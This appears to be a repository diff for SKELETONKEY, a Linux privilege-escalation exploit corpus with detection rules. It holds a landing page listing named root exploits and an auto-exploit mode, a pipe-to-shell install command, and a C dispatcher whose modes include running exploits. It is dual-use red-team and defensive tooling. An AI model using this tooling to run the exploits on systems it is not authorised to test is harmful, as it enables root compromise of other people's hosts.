<span class="corpus-dot green"></span>
|
||||
Lands root on a vulnerable host
|
||||
<span class="corpus-h-sub">structural escapes + page-cache writes; no per-kernel offsets needed</span>
|
||||
</h3>
|
||||
<div class="pills">
|
||||
<span class="pill green">copy_fail</span>
|
||||
<span class="pill green">copy_fail_gcm</span>
|
||||
<span class="pill green">dirty_frag_esp</span>
|
||||
<span class="pill green">dirty_frag_esp6</span>
|
||||
<span class="pill green">dirty_frag_rxrpc</span>
|
||||
<span class="pill green kev">★ dirty_pipe</span>
|
||||
<span class="pill green kev">★ dirty_cow</span>
|
||||
<span class="pill green kev">★ pwnkit</span>
|
||||
<span class="pill green kev">★ overlayfs</span>
|
||||
<span class="pill green kev">★ overlayfs_setuid</span>
|
||||
<span class="pill green">cgroup_release_agent</span>
|
||||
<span class="pill green kev">★ ptrace_traceme</span>
|
||||
<span class="pill green">sudoedit_editor</span>
|
||||
<span class="pill green">entrybleed</span>
|
||||
</div>
|
||||
|
||||
<h3 class="corpus-h" data-color="yellow">
|
||||
<span class="corpus-dot yellow"></span>
|
||||
Fires kernel primitive · opt-in <code>--full-chain</code>
|
||||
<span class="corpus-h-sub">honest <code>EXPLOIT_FAIL</code> default; <code>--full-chain</code> runs the shared modprobe_path finisher</span>
|
||||
</h3>
|
||||
<div class="pills">
|
||||
<span class="pill yellow kev">★ nf_tables</span>
|
||||
<span class="pill yellow">nft_set_uaf</span>
|
||||
<span class="pill yellow">nft_fwd_dup</span>
|
||||
<span class="pill yellow">nft_payload</span>
|
||||
<span class="pill yellow kev">★ netfilter_xtcompat</span>
|
||||
<span class="pill yellow">af_packet</span>
|
||||
<span class="pill yellow">af_packet2</span>
|
||||
<span class="pill yellow">af_unix_gc</span>
|
||||
<span class="pill yellow">cls_route4</span>
|
||||
<span class="pill yellow kev">★ fuse_legacy</span>
|
||||
<span class="pill yellow">stackrot</span>
|
||||
<span class="pill yellow kev">★ sudo_samedit</span>
|
||||
<span class="pill yellow">sequoia</span>
|
||||
<span class="pill yellow">vmwgfx</span>
|
||||
</div>
|
||||
|
||||
<p class="corpus-foot">
|
||||
Full inventory with kernel ranges, mitigations, and detection
|
||||
coverage:
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVES.md</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md">KEV cross-reference</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/CVE_METADATA.json">CVE_METADATA.json</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── AUDIENCE ──────────────── -->
|
||||
<section class="section section-audience reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">who it's for</span>
|
||||
<h2>Same project. Both sides of the engagement.</h2>
|
||||
</div>
|
||||
|
||||
<div class="audience-grid">
|
||||
<div class="audience-card audience-red">
|
||||
<div class="audience-icon">🔴</div>
|
||||
<h3>Red team / pentesters</h3>
|
||||
<p>
|
||||
<code>--auto</code> picks the safest exploit and runs it. Honest
|
||||
scope reporting — never claims root it didn't actually get.
|
||||
Per-exploit OPSEC notes tell you what telemetry you'll leave.
|
||||
No more curating stale PoC repos.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/README.md" class="audience-link">Walkthrough →</a>
|
||||
</div>
|
||||
<div class="audience-card audience-blue">
|
||||
<div class="audience-icon">🔵</div>
|
||||
<h3>Blue team / SOC</h3>
|
||||
<p>
|
||||
One command ships SIEM coverage for the entire corpus.
|
||||
<code>--explain</code> renders a triage briefing per CVE with
|
||||
CWE / ATT&CK / KEV / OPSEC — paste into the ticket.
|
||||
KEV-prioritized so you fix what attackers are already using.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md" class="audience-link">Playbook →</a>
|
||||
</div>
|
||||
<div class="audience-card audience-gray">
|
||||
<div class="audience-icon">🛠</div>
|
||||
<h3>Sysadmins / IT</h3>
|
||||
<p>
|
||||
<code>--scan</code> works without sudo. JSON output for CI
|
||||
gates. Fleet-scan helper bundled. Compatible with everything
|
||||
back to glibc 2.17 via the static-musl binary. No SaaS,
|
||||
no analytics, no cloud accounts.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md" class="audience-link">JSON schema →</a>
|
||||
</div>
|
||||
<div class="audience-card audience-purple">
|
||||
<div class="audience-icon">🎓</div>
|
||||
<h3>Researchers / CTF</h3>
|
||||
<p>
|
||||
34 CVEs, 10-year span, each with the original PoC author
|
||||
credited and the kernel-range citation auditable.
|
||||
<code>--explain</code> shows the reasoning chain; detection
|
||||
rules let you practice both sides. Source is the documentation.
|
||||
</p>
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md" class="audience-link">Architecture →</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── HONESTY CALLOUT ──────────────── -->
|
||||
<section class="section section-callout reveal">
|
||||
<div class="container">
|
||||
<div class="callout">
|
||||
<div class="callout-mark">✓</div>
|
||||
<div>
|
||||
<h3>The verified-vs-claimed bar</h3>
|
||||
<p>
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. <strong>SKELETONKEY refuses to ship
|
||||
fabricated offsets.</strong> The shared <code>--full-chain</code>
|
||||
finisher returns <code>EXPLOIT_OK</code> only when a setuid
|
||||
bash sentinel file <em>actually appears</em>. Modules with a
|
||||
primitive but no portable cred-overwrite chain default to
|
||||
firing the primitive + grooming the slab + recording a witness,
|
||||
then return <code>EXPLOIT_FAIL</code> with diagnostic.
|
||||
Operators populate the offset table once per kernel via
|
||||
<code>--dump-offsets</code> and upstream the entry via PR.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── QUICKSTART ──────────────── -->
|
||||
<section id="quickstart" class="section reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">quickstart</span>
|
||||
<h2>Five commands.</h2>
|
||||
</div>
|
||||
|
||||
<div class="tabs" role="tablist">
|
||||
<button class="tab active" data-tab="install" role="tab">install</button>
|
||||
<button class="tab" data-tab="scan" role="tab">scan</button>
|
||||
<button class="tab" data-tab="explain" role="tab">explain</button>
|
||||
<button class="tab" data-tab="auto" role="tab">auto</button>
|
||||
<button class="tab" data-tab="detect" role="tab">detect-rules</button>
|
||||
</div>
|
||||
|
||||
<div class="tab-panel active" data-tab="install">
|
||||
<pre class="code"><span class="cmt"># install (x86_64 / arm64; checksum-verified)</span>
|
||||
<span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
<span class="cmt"># default is the musl-static x86_64 binary — works back to glibc 2.17</span></pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="scan">
|
||||
<pre class="code"><span class="cmt"># inventory — no sudo needed</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan
|
||||
<span class="cmt"># or machine-readable for a SIEM</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan --json | jq '.findings[] | select(.verdict == "VULNERABLE")'</pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="explain">
|
||||
<pre class="code"><span class="cmt"># one-page operator briefing for a single CVE</span>
|
||||
<span class="prompt">$</span> skeletonkey --explain nf_tables
|
||||
<span class="cmt"># shows CVE/CWE/ATT&CK/KEV header, host fingerprint, live trace,</span>
|
||||
<span class="cmt"># verdict, OPSEC footprint, detection coverage. Paste into your ticket.</span></pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="auto">
|
||||
<pre class="code"><span class="cmt"># pick the safest exploit and run it</span>
|
||||
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||
<span class="cmt"># --dry-run for "what would it do?" without launching</span>
|
||||
<span class="prompt">$</span> skeletonkey --auto --dry-run</pre>
|
||||
</div>
|
||||
<div class="tab-panel" data-tab="detect">
|
||||
<pre class="code"><span class="cmt"># deploy SIEM coverage (needs sudo to write to /etc/audit/rules.d/)</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
<span class="prompt">$</span> sudo augenrules --load
|
||||
|
||||
<span class="cmt"># or in YAML for falco / sigma / yara</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=falco > /etc/falco/skeletonkey_rules.yaml</pre>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── ROADMAP / TIMELINE ──────────────── -->
|
||||
<section class="section section-timeline reveal">
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">where we are</span>
|
||||
<h2>Recently shipped · in flight · next.</h2>
|
||||
</div>
|
||||
|
||||
<div class="timeline">
|
||||
<div class="tl-col tl-shipped">
|
||||
<div class="tl-tag">shipped</div>
|
||||
<ul>
|
||||
<li><strong>28 of 34 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
||||
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
||||
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
||||
<li><strong>OPSEC notes</strong> — per-module runtime footprint</li>
|
||||
<li><strong>CISA KEV + NVD CWE + MITRE ATT&CK</strong> metadata pipeline</li>
|
||||
<li>151 detection rules across all four SIEM formats</li>
|
||||
<li><code>core/host.c</code> shared host-fingerprint refactor</li>
|
||||
<li>88-test harness (kernel_range + detect integration)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="tl-col tl-active">
|
||||
<div class="tl-tag">in flight</div>
|
||||
<ul>
|
||||
<li>9 deferred TOO_TIGHT kernel-range drift findings</li>
|
||||
<li>PackageKit provisioner so pack2theroot can hit the VULNERABLE path</li>
|
||||
<li>Custom Vagrant box for kernels ≤ 4.4 (unblock dirty_cow verification)</li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="tl-col tl-next">
|
||||
<div class="tl-tag">next</div>
|
||||
<ul>
|
||||
<li>arm64 musl-static binary (Raspberry-Pi-class deployments)</li>
|
||||
<li>Mass-fleet scan aggregator → heat-map dashboard</li>
|
||||
<li>SIEM query templates (Splunk SPL, Elastic KQL, Sentinel KQL)</li>
|
||||
<li>CWE / ATT&CK filter for <code>--scan --json</code></li>
|
||||
<li>CI hardening: clang-tidy, scan-build, drift-check job</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<p class="tl-foot">
|
||||
Full roadmap and contribution guide:
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">ROADMAP.md</a>
|
||||
·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<!-- ──────────────── FOOTER ──────────────── -->
|
||||
<footer class="footer">
|
||||
<div class="container footer-inner">
|
||||
<div class="footer-col">
|
||||
<div class="footer-brand">
|
||||
<span class="nav-mark" aria-hidden="true">◆</span>
|
||||
SKELETONKEY
|
||||
</div>
|
||||
<p class="footer-tag">
|
||||
Curated Linux LPE corpus with SOC-ready detection rules. One
|
||||
binary, no SaaS, no telemetry. MIT licensed.
|
||||
</p>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Project</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY">Source</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/releases">Releases</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md">CVE inventory</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Roadmap</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Docs</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md">Architecture</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md">Detection playbook</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/JSON_SCHEMA.md">JSON schema</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/OFFSETS.md">Offsets</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="footer-col">
|
||||
<h4>Ethics</h4>
|
||||
<ul>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DEFENDERS.md">For defenders</a></li>
|
||||
<li><a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">Contribute</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="container footer-bottom">
|
||||
<p>
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
<code>NOTICE.md</code>. The research credit belongs to the people
|
||||
who found the bugs.
|
||||
</p>
|
||||
<p class="footer-meta">
|
||||
v0.9.3 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
</p>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
<script src="app.js" defer></script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 123 KiB |
+85
@@ -0,0 +1,85 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="1200" height="630" viewBox="0 0 1200 630">
|
||||
<defs>
|
||||
<linearGradient id="bg" x1="0" y1="0" x2="1" y2="1">
|
||||
<stop offset="0" stop-color="#07070d"/>
|
||||
<stop offset="1" stop-color="#0c0c16"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="brand" x1="0" y1="0" x2="1" y2="0">
|
||||
<stop offset="0" stop-color="#10b981"/>
|
||||
<stop offset="1" stop-color="#06b6d4"/>
|
||||
</linearGradient>
|
||||
<radialGradient id="glow1" cx="0.2" cy="0.3" r="0.6">
|
||||
<stop offset="0" stop-color="#10b981" stop-opacity="0.18"/>
|
||||
<stop offset="1" stop-color="#10b981" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
<radialGradient id="glow2" cx="0.85" cy="0.8" r="0.5">
|
||||
<stop offset="0" stop-color="#a855f7" stop-opacity="0.16"/>
|
||||
<stop offset="1" stop-color="#a855f7" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
</defs>
|
||||
|
||||
<!-- backgrounds -->
|
||||
<rect width="1200" height="630" fill="url(#bg)"/>
|
||||
<rect width="1200" height="630" fill="url(#glow1)"/>
|
||||
<rect width="1200" height="630" fill="url(#glow2)"/>
|
||||
|
||||
<!-- diamond mark -->
|
||||
<g transform="translate(80,140)">
|
||||
<rect x="0" y="0" width="36" height="36" transform="rotate(45 18 18)" fill="url(#brand)"/>
|
||||
</g>
|
||||
|
||||
<!-- wordmark -->
|
||||
<text x="142" y="170" font-family="'Space Grotesk','Inter',sans-serif" font-weight="700" font-size="68" fill="#ecedf7" letter-spacing="-2">
|
||||
SKELETONKEY
|
||||
</text>
|
||||
|
||||
<!-- tagline -->
|
||||
<text x="80" y="240" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||
Curated Linux LPE corpus.
|
||||
</text>
|
||||
<text x="80" y="278" font-family="'Inter',sans-serif" font-size="30" fill="#c5c5d3" font-weight="500">
|
||||
Every year 2016 → 2026. 28 of 34 verified.
|
||||
</text>
|
||||
|
||||
<!-- stat chips -->
|
||||
<g transform="translate(80,360)">
|
||||
<!-- 39 modules -->
|
||||
<rect x="0" y="0" width="190" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||
<text x="28" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">39</text>
|
||||
<text x="64" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">modules</text>
|
||||
|
||||
<!-- 28 VM-verified -->
|
||||
<rect x="206" y="0" width="240" height="58" rx="29" fill="#161628" stroke="#10b981" stroke-opacity="0.5"/>
|
||||
<text x="234" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#34d399">28</text>
|
||||
<text x="270" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">✓ VM-verified</text>
|
||||
|
||||
<!-- 12 KEV -->
|
||||
<rect x="482" y="0" width="218" height="58" rx="29" fill="#161628" stroke="#ef4444" stroke-opacity="0.4"/>
|
||||
<text x="510" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ef4444">12</text>
|
||||
<text x="546" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">★ in CISA KEV</text>
|
||||
|
||||
<!-- 151 rules -->
|
||||
<rect x="736" y="0" width="232" height="58" rx="29" fill="#161628" stroke="#25253c"/>
|
||||
<text x="764" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ecedf7">151</text>
|
||||
<text x="810" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">detection rules</text>
|
||||
</g>
|
||||
|
||||
<!-- terminal mockup -->
|
||||
<g transform="translate(80,478)">
|
||||
<rect x="0" y="0" width="1040" height="92" rx="12" fill="#0a0a14" stroke="#25253c"/>
|
||||
<!-- bar -->
|
||||
<circle cx="22" cy="22" r="6" fill="#ff5f57"/>
|
||||
<circle cx="42" cy="22" r="6" fill="#febc2e"/>
|
||||
<circle cx="62" cy="22" r="6" fill="#28c840"/>
|
||||
<line x1="0" y1="44" x2="1040" y2="44" stroke="#1c1c2d"/>
|
||||
<text x="24" y="78" font-family="'JetBrains Mono',monospace" font-size="20" fill="#ecedf7">
|
||||
<tspan fill="#10b981">$</tspan> skeletonkey --explain nf_tables <tspan fill="#5b5b75"># operator briefing in one command</tspan>
|
||||
</text>
|
||||
</g>
|
||||
|
||||
<!-- subtle url at very bottom -->
|
||||
<text x="1120" y="610" font-family="'JetBrains Mono',monospace" font-size="14" fill="#5b5b75" text-anchor="end">
|
||||
karazajac.github.io/SKELETONKEY
|
||||
</text>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 4.0 KiB |
+1032
File diff suppressed because it is too large
Load Diff
@@ -1,683 +0,0 @@
|
||||
/*
|
||||
* IAMROOT — top-level dispatcher
|
||||
*
|
||||
* Usage:
|
||||
* iamroot --scan # run every module's detect()
|
||||
* iamroot --scan --json # machine-readable output
|
||||
* iamroot --scan --active # invasive probes (still no /etc/passwd writes)
|
||||
* iamroot --list # list registered modules
|
||||
* iamroot --exploit <name> --i-know # run a named module's exploit
|
||||
* iamroot --mitigate <name> # apply a temporary mitigation
|
||||
* iamroot --cleanup <name> # undo --exploit or --mitigate side effects
|
||||
*
|
||||
* Phase 1 scope: thin dispatcher over the copy_fail_family bridge.
|
||||
* Future phases add: --detect-rules export, multi-family registry,
|
||||
* fingerprint pre-pass, etc.
|
||||
*/
|
||||
|
||||
#include "core/module.h"
|
||||
#include "core/registry.h"
|
||||
|
||||
#include <getopt.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define IAMROOT_VERSION "0.1.0"
|
||||
|
||||
static const char BANNER[] =
|
||||
"\n"
|
||||
" ██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗\n"
|
||||
" ██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝\n"
|
||||
" ██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║ \n"
|
||||
" ██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║ \n"
|
||||
" ██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║ \n"
|
||||
" ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ \n"
|
||||
" Curated Linux kernel LPE corpus — v" IAMROOT_VERSION "\n"
|
||||
" AUTHORIZED TESTING ONLY — see docs/ETHICS.md\n";
|
||||
|
||||
static void usage(const char *prog)
|
||||
{
|
||||
fprintf(stderr,
|
||||
"Usage: %s [MODE] [OPTIONS]\n"
|
||||
"\n"
|
||||
"Modes (default: --scan):\n"
|
||||
" --scan run every module's detect() across the host\n"
|
||||
" --list list registered modules and exit\n"
|
||||
" --exploit <name> run named module's exploit (REQUIRES --i-know)\n"
|
||||
" --mitigate <name> apply named module's mitigation\n"
|
||||
" --cleanup <name> undo named module's exploit/mitigate side effects\n"
|
||||
" --detect-rules dump detection rules for every module\n"
|
||||
" (combine with --format=auditd|sigma|yara|falco)\n"
|
||||
" --module-info <name> full metadata + rule bodies for one module\n"
|
||||
" (combine with --json for machine-readable output)\n"
|
||||
" --audit system-hygiene scan: setuid binaries, world-writable\n"
|
||||
" files in /etc, file capabilities, sudo NOPASSWD\n"
|
||||
" (complements --scan; answers 'is this box\n"
|
||||
" generally privesc-exposed?')\n"
|
||||
" --version print version\n"
|
||||
" --help this message\n"
|
||||
"\n"
|
||||
"Options:\n"
|
||||
" --i-know authorization gate for --exploit modes\n"
|
||||
" --active in --scan, do invasive sentinel probes (no /etc/passwd writes)\n"
|
||||
" --no-shell in --exploit modes, prepare but don't drop to shell\n"
|
||||
" --json machine-readable output (for SIEM/CI)\n"
|
||||
" --no-color disable ANSI color codes\n"
|
||||
" --format <f> with --detect-rules: auditd (default), sigma, yara, falco\n"
|
||||
"\n"
|
||||
"Exit codes:\n"
|
||||
" 0 not vulnerable / OK 2 vulnerable 5 exploit succeeded\n"
|
||||
" 1 test error 3 exploit failed 4 preconditions missing\n",
|
||||
prog);
|
||||
}
|
||||
|
||||
enum mode {
|
||||
MODE_SCAN,
|
||||
MODE_LIST,
|
||||
MODE_EXPLOIT,
|
||||
MODE_MITIGATE,
|
||||
MODE_CLEANUP,
|
||||
MODE_DETECT_RULES,
|
||||
MODE_MODULE_INFO,
|
||||
MODE_AUDIT,
|
||||
MODE_HELP,
|
||||
MODE_VERSION,
|
||||
};
|
||||
|
||||
enum detect_format {
|
||||
FMT_AUDITD,
|
||||
FMT_SIGMA,
|
||||
FMT_YARA,
|
||||
FMT_FALCO,
|
||||
};
|
||||
|
||||
static const char *result_str(iamroot_result_t r)
|
||||
{
|
||||
switch (r) {
|
||||
case IAMROOT_OK: return "OK";
|
||||
case IAMROOT_TEST_ERROR: return "ERROR";
|
||||
case IAMROOT_VULNERABLE: return "VULNERABLE";
|
||||
case IAMROOT_EXPLOIT_FAIL: return "EXPLOIT_FAIL";
|
||||
case IAMROOT_PRECOND_FAIL: return "PRECOND_FAIL";
|
||||
case IAMROOT_EXPLOIT_OK: return "EXPLOIT_OK";
|
||||
}
|
||||
return "?";
|
||||
}
|
||||
|
||||
/* JSON-escape a string for inclusion in stdout output. Quick + safe:
|
||||
* escapes \" and \\ and newlines; passes through ASCII printable.
|
||||
* Caller must call json_escape_done() to free the result. */
|
||||
static char *json_escape(const char *s)
|
||||
{
|
||||
if (s == NULL) return NULL;
|
||||
size_t n = strlen(s);
|
||||
char *out = malloc(n * 2 + 1); /* worst case: every char doubles */
|
||||
if (!out) return NULL;
|
||||
char *p = out;
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
unsigned char c = (unsigned char)s[i];
|
||||
if (c == '"' || c == '\\') { *p++ = '\\'; *p++ = c; }
|
||||
else if (c == '\n') { *p++ = '\\'; *p++ = 'n'; }
|
||||
else if (c == '\r') { *p++ = '\\'; *p++ = 'r'; }
|
||||
else if (c == '\t') { *p++ = '\\'; *p++ = 't'; }
|
||||
else if (c < 0x20) { /* skip — should be rare in our strings */ }
|
||||
else *p++ = c;
|
||||
}
|
||||
*p = 0;
|
||||
return out;
|
||||
}
|
||||
|
||||
static void emit_module_json(const struct iamroot_module *m, bool include_rules)
|
||||
{
|
||||
char *name = json_escape(m->name);
|
||||
char *cve = json_escape(m->cve);
|
||||
char *summary = json_escape(m->summary);
|
||||
char *family = json_escape(m->family);
|
||||
char *krange = json_escape(m->kernel_range);
|
||||
fprintf(stdout,
|
||||
"{\"name\":\"%s\",\"cve\":\"%s\",\"family\":\"%s\","
|
||||
"\"kernel_range\":\"%s\",\"summary\":\"%s\","
|
||||
"\"has\":{\"detect\":%s,\"exploit\":%s,\"mitigate\":%s,\"cleanup\":%s,"
|
||||
"\"auditd\":%s,\"sigma\":%s,\"yara\":%s,\"falco\":%s}",
|
||||
name ? name : "",
|
||||
cve ? cve : "",
|
||||
family ? family : "",
|
||||
krange ? krange : "",
|
||||
summary ? summary : "",
|
||||
m->detect ? "true" : "false",
|
||||
m->exploit ? "true" : "false",
|
||||
m->mitigate ? "true" : "false",
|
||||
m->cleanup ? "true" : "false",
|
||||
m->detect_auditd ? "true" : "false",
|
||||
m->detect_sigma ? "true" : "false",
|
||||
m->detect_yara ? "true" : "false",
|
||||
m->detect_falco ? "true" : "false");
|
||||
if (include_rules) {
|
||||
/* Embed the actual rule text. Useful for --module-info. */
|
||||
char *aud = json_escape(m->detect_auditd);
|
||||
char *sig = json_escape(m->detect_sigma);
|
||||
char *yar = json_escape(m->detect_yara);
|
||||
char *fal = json_escape(m->detect_falco);
|
||||
fprintf(stdout,
|
||||
",\"detect_rules\":{\"auditd\":%s%s%s,\"sigma\":%s%s%s,"
|
||||
"\"yara\":%s%s%s,\"falco\":%s%s%s}",
|
||||
aud ? "\"" : "", aud ? aud : "null", aud ? "\"" : "",
|
||||
sig ? "\"" : "", sig ? sig : "null", sig ? "\"" : "",
|
||||
yar ? "\"" : "", yar ? yar : "null", yar ? "\"" : "",
|
||||
fal ? "\"" : "", fal ? fal : "null", fal ? "\"" : "");
|
||||
free(aud); free(sig); free(yar); free(fal);
|
||||
}
|
||||
fprintf(stdout, "}");
|
||||
free(name); free(cve); free(summary); free(family); free(krange);
|
||||
}
|
||||
|
||||
static int cmd_list(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
size_t n = iamroot_module_count();
|
||||
if (ctx->json) {
|
||||
fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION);
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
if (i) fputc(',', stdout);
|
||||
emit_module_json(iamroot_module_at(i), false);
|
||||
}
|
||||
fprintf(stdout, "]}\n");
|
||||
return 0;
|
||||
}
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
"NAME", "CVE", "FAMILY", "SUMMARY");
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
"----", "---", "------", "-------");
|
||||
for (size_t i = 0; i < n; i++) {
|
||||
const struct iamroot_module *m = iamroot_module_at(i);
|
||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
||||
m->name, m->cve, m->family, m->summary);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* --audit: system-hygiene scan beyond per-CVE detect. Inventories
|
||||
* setuid binaries, world-writable system files, capability-bound
|
||||
* non-standard binaries, NOPASSWD sudo entries. Complements --scan;
|
||||
* answers "is this box generally exposed to privesc?" beyond
|
||||
* "does it have any of the known kernel CVEs?".
|
||||
*
|
||||
* Output is structured findings. --json switches to a single JSON
|
||||
* object with arrays per category. Side-effect-free: read-only
|
||||
* filesystem walks. */
|
||||
struct finding {
|
||||
const char *category; /* "setuid", "world_writable", "capability", "sudo" */
|
||||
char path[512];
|
||||
char note[256];
|
||||
};
|
||||
|
||||
static void print_finding_human(const struct finding *f)
|
||||
{
|
||||
fprintf(stdout, "[%-15s] %-50s %s\n",
|
||||
f->category, f->path, f->note);
|
||||
}
|
||||
|
||||
/* Walk one filesystem path looking for setuid-root binaries. Bounded
|
||||
* via find(1) for portability (every distro ships find). */
|
||||
static int audit_setuid(int *count_out, bool json,
|
||||
bool *first_json_emitted)
|
||||
{
|
||||
/* Use popen() on `find` rather than recursive opendir() — much
|
||||
* simpler, every distro ships find. Limit to common
|
||||
* binary-bearing dirs to keep runtime reasonable. */
|
||||
static const char *cmd =
|
||||
"find /usr/bin /usr/sbin /bin /sbin /usr/local/bin /usr/local/sbin "
|
||||
"-xdev -perm -4000 -type f 2>/dev/null";
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return -1;
|
||||
char line[1024];
|
||||
int n = 0;
|
||||
/* Set of suspicious binaries — these are notable in the LPE world.
|
||||
* The full setuid inventory is informational; this list flags
|
||||
* specific items as "review this". */
|
||||
static const struct { const char *path; const char *note; } SUSP[] = {
|
||||
{"/usr/bin/pkexec", "Pwnkit CVE-2021-4034 history; tightly audit polkit policy"},
|
||||
{"/usr/bin/mount.cifs", "historically setuid-root; check distro hardening"},
|
||||
{"/usr/bin/fusermount3", "historically setuid; userns-related LPE history"},
|
||||
{"/usr/bin/passwd", "expected setuid; verify integrity"},
|
||||
{"/usr/bin/sudo", "expected setuid; verify integrity + sudoers"},
|
||||
{"/usr/bin/su", "expected setuid; verify integrity"},
|
||||
